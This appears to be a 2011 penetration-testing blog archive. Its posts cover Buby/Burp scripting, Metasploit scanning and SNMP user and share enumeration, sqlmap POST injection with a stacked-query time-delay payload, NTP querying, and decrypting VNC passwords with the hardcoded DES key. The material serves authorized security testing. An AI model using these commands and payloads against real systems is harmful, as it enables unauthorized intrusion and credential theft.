Sunday, May 8, 2011

Buby Script Basics Part 2

In part 1 of this series, we've discussed a few options via the command line. In this part of the series, we will focus on actually writing a script. If you remember, to run the script you can type:

jruby -S buby -B burp.jar -r myscript.rb

**(myscript.rb is your buby script)**

I've provided some sample scripts Here .

Lets cover one of the most used methods (in my opinion/experience) exposed by buby called "evt_proxy_message". I'd like to cover some of the objects exposed by this method and to best accomplish this task we will step through the cookie_snatch.rb script located Here.

So here is the code from "cookie_snatch.rb"


def $burp.evt_proxy_message(*param)
msg_ref, is_req, rhost, rport, is_https, http_meth, url, resourceType, status, req_content_type, message, action = param
  file = ('cookiez.txt')
  prefix = is_https ? "https://" : "http://"
  rurl = "#{prefix}://#{rhost}:#{rport}"
  if is_req == false
    spmsg = message.split("\n\n")
    short_msg = "#{spmsg[0]}"
    mitem = short_msg.match(/^Set-Cookie:.+$/) 
      if $burp.in_scope?(rurl)  
        if !mitem.nil?
          File.open(file, "a") {|f| f.write("#{mitem}")} 
        end
      end
  end   
 super(*param)
end

On the second line you see that we convert *param to 12 separate objects. Here is a brief explanation of each:

msg_ref
===== 
This is the request/response number. It is nothing more than a tracking number.

is_req
====
This is a boolean value, returns either true or false. If it is a request, this returns true, else, false.

rhost
===
This is your target's hostname ONLY. 
It does NOT include the prefix (http/s), rport (80/443), or path (/directory/something.php).

rport
===
This is the remote port value (80/443/etc)

is_https
======
Returns true when https and false when http.

http_meth
=======
This is the method (GET/POST/etc)

url
==
This is the path portion of a URL. Not the full URL itself.
Example: If the target was http://www.target.com/mydir/test.aspx then url would be 
/mydir/test.aspx

resourceType
==========
The filetype of the requested resource, or nil if the resource has no filetype

status
====
The HTTP status code returned by the server. This value is nil for request messages.

req_content_type
============
String value, content-type header returned by the server. (nil for requests)

message
======
String value, the entire message, regardless of request/response, contains headers and body.

action
====
There are 4 types of actions 
ACTION_FOLLOW_RULES (0, this is the default)
ACTION_DO_INTERCEPT (1, direction to intercept a msg)
ACTION_DONT_INTERCEPT (2, don't intercept the msg)
ACTION_DROP (3, drops the in/outbound msg)

Example of using action (folks seem to have some confusion at times regarding this):

if rhost == "www.example.com
action[0] = 2
end

The above code logic is, if the rhost value is www.example.com then don't intercept. The full code can be found in dont_intercept.rb in the Buby-Scripts repo.

Back to the code:

Lines 3-5

Ln 3 is assigning cookiez.txt to 'file'.

Ln 4 is evaluating the boolean value behind is_https?. If it is true then prefix = https:// and if false, http://.

Ln 5 is creating a rurl object which consists of a string concatenation of prefix, rhost and rport.

Lines 6-9

Ln 6 is evaluating if is_req equals false (meaning it is a response). So unless it is a response, the code following it won't be run.

Ln 7 spmsg (split message) is the message string split by two newlines. This separates the headers from the body. Array item 0 of spmsg (spmsg[0]) is going to be the headers and spmsg[1] will be the body.

Ln 8 short_msg is assigned to spgmsg[0], converted to a string.

Ln 9 assigns mitem to a the Set-Cookie portion of the response header.

Lines 10-12

Ln 10 uses the method in_scope?, which takes the full URL. This is the reason for creating the rurl object on line 5. If the response is from a site that is in scope, we evaluate the next 2 lines of code.

Ln 11 basically if mitem (the Set-Cookie key, value) isn't nil, then we evaluate line 12.

Ln 12 Open the file (file is created on line 3 and it is cookiez.txt), and write to it. Because we have assigned "a" instead of "w", the cookies will be appended versus overwritten.

The rest of the code terminates "if" statements and sends the params up to the super class's version of evt_proxy_msg. This super(*params) can be nice when you'd like to modify data prior to it's arrival to Burp.

Okay, well hopefully this was a good start for those interested in extending Burp's capabilities.

Part 3 in this series will cover other useful methods exposed by Buby.

~Happy Hacking

cktricky








Saturday, May 7, 2011

Buby Script Basics Part 1

For those of you who are new to Buby, it is a platform to write Ruby based extensions for the Burp Suite API and I'm going to attempt to cover some of the basics.  First let me say thank you to Tebo for providing his insight. Tebo is the author of the Buby.kicks_ass => true article. Additionally, thank you Eric Monti the creator of Buby. Buby's homepage is located Here .

Installing:

Although you can write Ruby code, this is a JRuby Gem. What does this mean? It means that the code execution environment is JRuby (Java+Ruby) and the Gem should be installed in the JRuby environment.

Lets install JRuby first:

















Next, install the Buby Gem.


















Basic example of running a script:









The options you see explained

jruby -S buby  => runs the jruby environment leveraging the buby gem

-i  => interactive, this means you can interact with Burp from the console.

-B => this is the location of your Burp jar file

-r => The script you'd like to run. This is an easy way to run the buby code you've created.

Finally, an example of sending a command to burp via the -i (interactive option). Here we produce an alert "Hello World".














Pre-command




Command




Post Command



Okay so that wraps up Part 1 of Buby Basics.

If you'd like some scripts to mess around before Part 2, you can find some scripts I put together Here.

~Happy Hacking

cktricky

Wednesday, April 27, 2011

Running Auxiliary Modules Against Multiple Hosts the Smart Way Part 2

In the previous post I talked about using the db_service -R to use the information in your database/workspace to throw an auxiliary module at hosts that had port 443 open.

Let's take this one step further...and throw multiple aux modules against the hosts that have port 80 open.

I'm going to use a resource script to do this. The cool thing about resource scripts is that you dont have to do them just at startup. You can do them anytime on the console.

msf auxiliary(options) > resource
Usage: resource path1 path2 ...

Run the commands stored in the supplied files.


In this case i want to run two modules against every port that has 80 open. Here's some code to do it:


set THREADS 10

[ruby] **#replace [ and ] with their respective "<" or ">"**'

#start with an array to hold our modules we want to run
modules = [
"auxiliary/scanner/http/http_version",
"auxiliary/scanner/http/options",]

#another array for our hosts
hosts = []
framework.db.services.each do |service|
if service.port == 443
hosts << service.host.address
end
end

#loop through each module in the list
modules.each do |blah|
self.run_single("use #{blah}")
puts ("\nRunning Auxiliary Module #{blah}")
#for each host with 443 open, set appropriate configs and run the module against it
hosts.each do |rhost|
self.run_single("set RHOSTS #{rhost}")
self.run_single("set RPORT 443") #change to the port above
self.run_single("set SSL TRUE")
self.run_single("run")
end
end
[/ruby] **#replace [ and ] with their respective "<" or ">"**


Running it:

msf auxiliary(options) > resource /home/user/.msf3/aux_do_dbhosts.rc
resource (/home/user/.msf3/aux_do_dbhosts.rc)> set THREADS 10
THREADS => 10
[*] resource (/home/user/.msf3/aux_do_dbhosts.rc)> Ruby Code (962 bytes)

Running Auxiliary Module auxiliary/scanner/http/http_version
RHOSTS => 192.168.1.10
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.106
RPORT => 443
SSL => TRUE
[*] 192.168.1.106 nginx/0.6.32 ( 302-http://192.168.1.106/ )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.107
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.135
RPORT => 443
SSL => TRUE
[*] 192.168.1.135 Apache/2.2.11 (Ubuntu) mod_ssl/2.2.11 OpenSSL/0.9.8g Phusion_Passenger/2.2.15 ( Powered by Phusion Passenger (mod_rails/mod_rack) 2.2.15 )
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.168
RPORT => 443
SSL => TRUE
[*] 192.168.1.168 Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.3 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_wsgi/1.3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.229
RPORT => 443
SSL => TRUE
[*] 192.168.1.229 Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.3.2-0.dotdeb.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.2 Perl/v5.8.8 ( Powered by PHP/5.3.2-0.dotdeb.1 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Running Auxiliary Module auxiliary/scanner/http/options
RHOSTS => 192.168.1.10
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.100
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
...SNIP...YOU GET THE IDEA...


-CG

thanks to hdm and jcran

Monday, April 25, 2011

Running Auxiliary Modules Against Multiple Hosts the Smart Way

So a coulple of cool updates lately to metasploit framework. If you check out db_services you'll see a super handy feature of "-R"


msf auxiliary(http_version) > db_services -h

Usage: db_services [-h|--help] [-u|--up] [-a ] [-r ] [-p ] [-n ] [-o ]

-a Search for a list of addresses
-c Only show the given columns
-h,--help Show this help information
-n Search for a list of service names
-p Search for a list of ports
-r Only show [tcp|udp] services
-u,--up Only show services which are up
-o Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search

Available columns: created_at, info, name, port, proto, state, updated_at

In the past you could list your hosts by port (db_services -p 80) but I want to be able to USE those hosts and throw modules at them, bring in the -R option

msf auxiliary(http_version) > use auxiliary/scanner/http/options
msf auxiliary(options) > db_services -R -p 80

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
192.168.1.245 80 tcp http open Apache/2.2.3 (CentOS) ( Powered by PHP/5.1.6 )
192.168.1.246 80 tcp http open Apache/2.2.3 (CentOS)
192.168.1.247 80 tcp http open Apache/2.2.12 (Ubuntu)
192.168.1.248 80 tcp http open lighttpd/1.5.0
192.168.1.249 80 tcp http open Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.4 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Phusion_Passenger/2.2.11
192.168.1.251 80 tcp http open Apache
192.168.1.254 80 tcp http open Apache/2.2.3 (CentOS)

RHOSTS => file:/tmp/msf-db-rhosts-20110423-27121-10wiuni-0

msf auxiliary(options) > run

[*] Scanned 1 of 7 hosts (014% complete)
[*] Scanned 2 of 7 hosts (028% complete)
[*] 192.168.1.247 allows GET,HEAD,POST,OPTIONS methods
[*] Scanned 3 of 7 hosts (042% complete)
[*]192.168.1.248 allows OPTIONS, GET, HEAD, POST methods
[*] Scanned 4 of 7 hosts (057% complete)
[*] 192.168.1.249 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 5 of 7 hosts (071% complete)
[*] Scanned 6 of 7 hosts (085% complete)
[*] Scanned 7 of 7 hosts (100% complete)
[*] Auxiliary module execution completed

-CG

Friday, April 15, 2011

Data Driven Pentests...Don't You mean Vulnerability Assessments?

So first a disclaimer, i didnt listen to the referenced podcast, this is based solely of this blog post:


So I’m listening to the “Larry, Larry, Larry” episode of the Risk Hose podcast, and Alex is talking about data-driven pen tests. I want to posit that pen tests are already empirical. Pen testers know what techniques work for them, and start with those techniques.

What we could use are data-driven pen test reports. “We tried X, which works in 78% of attempts, and it failed.”

We could also use more shared data about what tests tend to work.

Thoughts?

Dre's response to the post was surprising to me, he listed a bunch of tools that seem to do correlating of pentest results into a portal so you can trend over time. Cool idea, i'll give the people that. But to me when we start jumping into repeatable metrics driven stuff we are in Vulnerability Assessment land, not pentesting land.

Here is the comment I left:

I like the idea and i think it could be useful.

However, they need to drop the pentest part. you are solidly into the vulnerability assessment part of things when you are talking about “ok, i tried 1,2,3,4,5 and 1 & 3 worked” ok on to the next set of tests… thats vulnerability assessment (with exploitation if you want to get technical) and not pentesting.

pentesting is about that human looking at the problem and figuring out how to break it, not some scanner, thats going to be very hard to standardize and put hard numbers on and i dont think its going to be possible without tying up your tester’s time with bullshit.

I'm all for "repeatable" pentests. You should have a methodology for each type of test, but when you are paying for human's time you should be paying for them to go after the site like a human would and not how a scanner would or not in a way where i'm worried about religiously following some checklist because if i don't the metrics get all fucked up. Your pentest should come after you have thrown the kitchen sink at it scanner wise.

as an added bonus this post was right below the new school post in my Google reader:


This post and really any methodology document you will ever read or write will have gaps, because no document on this subject can ever really be 100% all inclusive of every vulnerability and the myriad of variations that exist for many of these.

I think it drives the point home as well.

-CG

Wednesday, March 23, 2011

New SNMP Metasploit Modules

my new favorite modules (for today) are the snmp_enumusers and snmp_enumshares modules that work against windows hosts that have snmp running.

msf > use auxiliary/scanner/snmp/
use auxiliary/scanner/snmp/aix_version
use auxiliary/scanner/snmp/snmp_enumshares

use auxiliary/scanner/snmp/cisco_config_tftp
use auxiliary/scanner/snmp/snmp_enumusers

use auxiliary/scanner/snmp/cisco_upload_file
use auxiliary/scanner/snmp/snmp_login

use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_set


msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.100.119

RHOSTS =>
192.168.100.119
msf auxiliary(snmp_login) > run


[+] SNMP:
192.168.100.119 community string: 'public' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[+] SNMP:
192.168.100.119 community string: 'private' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[*] Validating scan results from 1 hosts...

[*] Host
192.168.100.119 provides READ-WRITE access with community 'private'
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


msf auxiliary(snmp_login) > use auxiliary/scanner/snmp/snmp_enumusers
msf auxiliary(snmp_enumusers) > info

...SNIP...

Description:

This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP

msf auxiliary(snmp_enumusers) > set RHOSTS
192.168.100.119
RHOSTS =>
192.168.100.119
msf auxiliary(snmp_enumusers) > run


[+]
192.168.100.119 Found Users: ASPNET, Administrator, Guest, IUSR_SRV, IWAM_SRV, SUPPORT_388945a0
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


msf auxiliary(snmp_enumusers) > use auxiliary/scanner/snmp/snmp_enumshares
msf auxiliary(snmp_enumshares) > info
...SNIP...

Description:
This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP

msf auxiliary(snmp_enumshares) > set RHOSTS
192.168.100.119
RHOSTS =>
192.168.100.119
msf auxiliary(snmp_enumshares) > run


[+]
192.168.100.119
backup - (C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\backup)

MetaInfoBack - (C:\WINDOWS\system32\inetsrv\MetaInfoBack)

NewBackup2 - (J:\NewBackup2)

SharepointBackup - (K:\SharepointBackup)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Monday, March 21, 2011

sqlmap with POST requests

Notes for sqlmap and POST requests since every f**king tutorial only covers GETs

options you'll want to use

-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string

--postfix=POSTFIX <-- Injection payload postfix string

--dbms=DBMS <--Force back-end DBMS to this value

*--dbms= if sqlmap is sucking

we'll assume we have a simple post request


user@ubuntu:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2

--method to pass the POST option

--data to pass the paramaters that are required for the POST

-p to pass the injectable field, so in this case the username field (usernameTxt)

--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query

--dbms to tell it the backend was mssql

this yields us an sqlmap query like so:

Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On
---

Friday, March 18, 2011

I forgot my NTP stuff, so here's more notes on it

yeah what the title says, for some reason the NTP module wasn't working for me in Metasploit so i had to remember how to use the NTP tools to pull some info.

here are my notes:

http://www.eecis.udel.edu/~mills/ntp/html/ntpdc.html
ntpdc -c sysinfo 192.168.1.205
ntpdc -c monolist 192.168.1.205

ntpdc -c listpeers 192.168.1.205

ntpdc -c peers 192.168.1.205

ntpdc -c reslist 192.168.1.205


http://www.eecis.udel.edu/~mills/ntp/html/ntpq.html
ntpq 192.168.1.205
-> version

-> host

-> readlist

-> lpeers

-> hostnames

-> keytype

-> ntpversion

-> associations
-> pstatus [#]

ntpq> help
ntpq commands:

addvars debug lopeers passociations rl

associations delay lpassociations passwd rmvars

authenticate exit lpeers peers rv

cl help mreadlist poll showvars

clearvars host mreadvar pstatus timeout

clocklist hostnames mrl quit version

clockvar keyid mrv raw writelist

cooked keytype ntpversion readlist writevar

cv lassociations opeers readvar

ntpq>

chris@notbt:/pentest$ ntpq 192.168.1.60
ntpq> lpeers

remote refid st t when poll reach delay offset jitter

==============================================================================

*computerville.wxy.suk 192.168.1.108 2 u 338 1024 377 35.327 -0.702 1.030


ntpq> version

ntpq 4.2.4p8@1.1612-o Fri Apr 9 00:28:48 UTC 2010 (1)


ntpq> host

current host is 192.168.1.60


ntpq> readlist

assID=0 status=0658 leap_none, sync_ntp, 5 events, event_8,

version="ntpd 4.2.6p2@1.2194-o Sun Oct 17 02:04:37 UTC 2010 (1)",
processor="x86_64", system="Linux/2.6.35.4-x86_64-linode16", leap=00,strasuk=3, precision=-20, rootdelay=58.612, rootdisp=86.969, refid=1.2.3.102,
reftime=d12a932f.e1697c36 Wed, Mar 16 2011 1:38:55.880,

clock=d12a98c9.eee329a7 Wed, Mar 16 2011 2:02:49.933, peer=18290,

tc=10, mintc=3, offset=-0.702, frequency=-16.787, sys_jitter=1.061, clk_jitter=0.881, clk_wander=0.144


ntpq> hostnames

hostnames being shown



ntpq> keytype

keytype is MD5


ntpq> ntpversion

NTP version being claimed is 2


ntpq> associations


ind assID status conf reach auth condition last_event cnt

===========================================================

1 18290 964a yes yes none sys.peer 4


ntpq> pstatus 18290

assID=18290 status=964a reach, conf, sel_sys.peer, 4 events, event_10,

srcadr=computerville.wxy.suk.de, srcport=123, dstadr=192.168.1.60,

dstport=123, leap=00, strasuk=2, precision=-20, rootdelay=22.964,

rootdisp=33.768, refid=192.168.1.108,
reftime=d12a9360.1f34b00f Wed, Mar 16 2011 1:39:44.121,
rec=d12a976a.e177c84f Wed, Mar 16 2011 1:56:58.880, reach=377,

unreach=0, hmode=3, pmode=4, hpoll=10, ppoll=10, headway=0, flash=00 ok,

keyid=0, offset=-0.702, delay=35.327, dispersion=19.528, jitter=1.030,
xleave=0.050, filtdelay= 35.56 35.33 35.47 35.69 35.81 35.42 35.38 35.58,
filtoffset= -0.85 -0.70 -0.86 -1.42 -1.63 -1.90 -2.42 -1.97,

filtdisp= 0.00 16.25 32.00 47.93 63.45 79.40 95.69 111.96


chris@notbt:/pentest$ ntpdc -c monlist 192.168.1.60

remote address port local address count m ver code avgint lstint
===============================================================================

computerville.wxy.suk.de 123 192.168.1.60 6832 4 4
90 1044 476


chris@notbt:/pentest$ ntpdc -c sysinfo 192.168.1.60

system peer: computerville.wxy.suk.de
system peer mode: client
leap indicator: 00
strasuk: 3
precision: -20
root distance: 0.05861 s
root dispersion: 0.08899 s
reference ID: [1.2.3.102]
reference time: d12a932f.e1697c36 Wed, Mar 16 2011 1:38:55.880
system flags: auth monitor ntp kernel stats
jitter: 0.001053 s
stability: 0.000 ppm
broadcastdelay: 0.000000 s
authdelay: 0.000000 s

chris@notbt:/pentest$ ntpdc -c listpeers 192.168.1.60

client computerville.wxy.suk.de

chris@notbt:/pentest$ ntpdc -c peers 192.168.1.60

remote local st poll reach delay offset disp
=======================================================================
*computerville.wxy.suk 192.168.1.60 2 1024 377 0.03532 -0.000702 0.13974

chris@notbt:/pentest$ ntpdc -c reslist 192.168.1.60

address mask count flags

=====================================================================

0.0.0.0 0.0.0.0 6846 nomodify, nopeer

some-domain 255.255.255.255 0 none

some-domain 255.255.255.255 0 ignore

osafs.org 255.255.255.255 0 ignore

:: :: 0 nomodify, nopeer

ip6-localhost ffff:ffff:ffff: 0 ignore

fe80::fcfd:b2ff ffff:ffff:ffff: 0 ignore

Tuesday, March 15, 2011

VNC passwords and Metasploit and DES

inside your meterpreter shell run getvncpw

meterpreter > run getvncpw
[*] Searching for VNC Passwords in the registry....

[*] FOUND in HKLM\Software\RealVNC\WinVNC4 -=> 3290e903b5bf3769 =>


you're probably asking yourself what the F kind of password 3290e... is. Well its DES encrypted. Lucky for us the key is hardcoded (0x238210763578887) and since VNC is open source...

code here:
http://packetstormsecurity.org/files/view/10159/vncdec.

change the relevant section

/* put your password hash here in p[] */

char p[]={0x59,0x58,0x6e,0x10,0xa4,0x48,0xd3,0x80};


getvncpw spit out: 3290e903b5bf3769

char p[]={0x32,0x90,0xe9,0x03,0xb5,0xbf,0x37,0x69};

cg@segfault:~/pentest$ gcc vncdec.c -o vncdec
cg@segfault:~/pentest$ ./vncdec
demopass


or use this one
http://www.consume.org/~jshare/vncdec.c

where you can just put your hash on the command line and don't have to recompile every time.

Thursday, February 10, 2011

wXf released, thoughts, comments

Today we've released the beta version (rough, rough version) of wXf by making the repository public. Over the last year we've worked on this code in an "on again - off again" fashion. Since we've started the project we've learned a lot. I know I've personally learned a ton about Ruby and Metaprogramming (check out Paola Perrotta's book if you get a chance). We've rewritten the code several times but we've reached the point where it is at least stable enough to release. Now others have the chance to improve on it.

We've gotten loads of feedback from the beta group (consisting of a few volunteers) which has helped us tremendously with some of the usability and documentation. Additionally, we've started to gauge what people do and do not want to see. We know that the AppSec community doesn't want another point and click tool and certainly doesn't need another scanner.

The biggest question posed to us over the last 11 months was "Why not merge with (insert framework here)". The answer is actually incredibly simple and is the basis for why we created the software. We'd like the community of testers/consultants/developers/etc to decide what they want to see most. 

To have the ability to adapt an entire framework to the user base and change it as needed is only feasible if we a) have total flexibility in modifying ANY portion of the code and b) aren't pigeonholed into just one area of focus (exploitation, scanning).

Whether it be source code review, exploitation, enumeration, fuzzing modules, phishing, mobile appsec or whatever else.......... we'd like to glue together some of the ideas and scripts of the community at large. So please contribute. Submit bugs, provide feedback,  help with the wiki  or develop modules. Every little bit counts.

wXf GitHub Page

Thanks!

Ken